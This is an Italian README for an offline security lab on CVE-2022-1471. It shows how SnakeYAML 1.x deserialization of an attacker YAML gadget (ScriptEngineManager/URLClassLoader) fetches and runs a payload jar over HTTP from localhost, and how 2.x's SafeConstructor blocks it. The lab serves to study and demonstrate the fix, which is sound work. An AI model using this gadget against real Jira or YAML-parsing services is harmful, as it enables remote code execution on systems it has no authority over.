
Laboratorio offline CVE-2022-1471: deserializzazione non sicura di SnakeYAML verso RCE; confronta la versione vulnerabile 1.x con la versione corretta 2.x utilizzando un payload locale innocuo.
Lab offline e autonomo che dimostra il meccanismo alla base di CVE-2022-1471 (deserializzazione non sicura SnakeYAML → RCE, CVSS 9.8), come sfruttato nel finding su Jira / Jira Service Management contro un host con 9.4.9 (range affetto 9.4.0–9.4.12, corretto in 9.4.14 — vedi Atlassian JSDSERVER-14906).
Il lab dimostra esattamente due cose:
ConstructorException) — non viene eseguito nulla.Non sfrutta alcun host reale. Tutto viene eseguito su 127.0.0.1; il payload
(src/Exploit.java) è innocuo — il suo inizializzatore statico scrive un solo
file di testo e nient'altro.
./run.sh
cat PWNED-proof.txt # prova su disco dell'esecuzione (rigenerata a ogni run)
Richiede un JDK 17+ nel PATH (javac, java, jar). Se esiste un JDK
incluso sotto tools/, viene usato quello. L'unico traffico di rete è un
server HTTP locale su 127.0.0.1:8077 che serve il jar del payload, terminato
all'uscita.
src/VulnDemo.java è un semplice new Yaml().load(yaml) — la stessa chiamata
non sicura che le versioni vulnerabili di Automation for Jira eseguono sulle
regole YAML importate. Lo YAML dell'attaccante è il gadget canonico:
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://127.0.0.1:8077/payload.jar"]
]]
]
SnakeYAML 1.x istanzia classi arbitrarie senza allowlist → la JVM recupera e
carica una classe dal server "attaccante" → il suo inizializzatore statico
viene eseguito. SnakeYAML 2.x usa di default SafeConstructor, che rifiuta
il tag globale.
sample-output-PWNED-proof.txt mostra il contenuto del file marcatore da
un'esecuzione; screenshots/ mostra entrambe le esecuzioni (vulnerabile vs
corretta).
Ricerca di sicurezza autorizzata. Dimostrazione del meccanismo della libreria e del confine del fix — non un exploit contro alcun sistema di produzione. Sfruttare il vettore Jira richiede inoltre l'importazione autenticata (admin Jira) di una regola di automazione.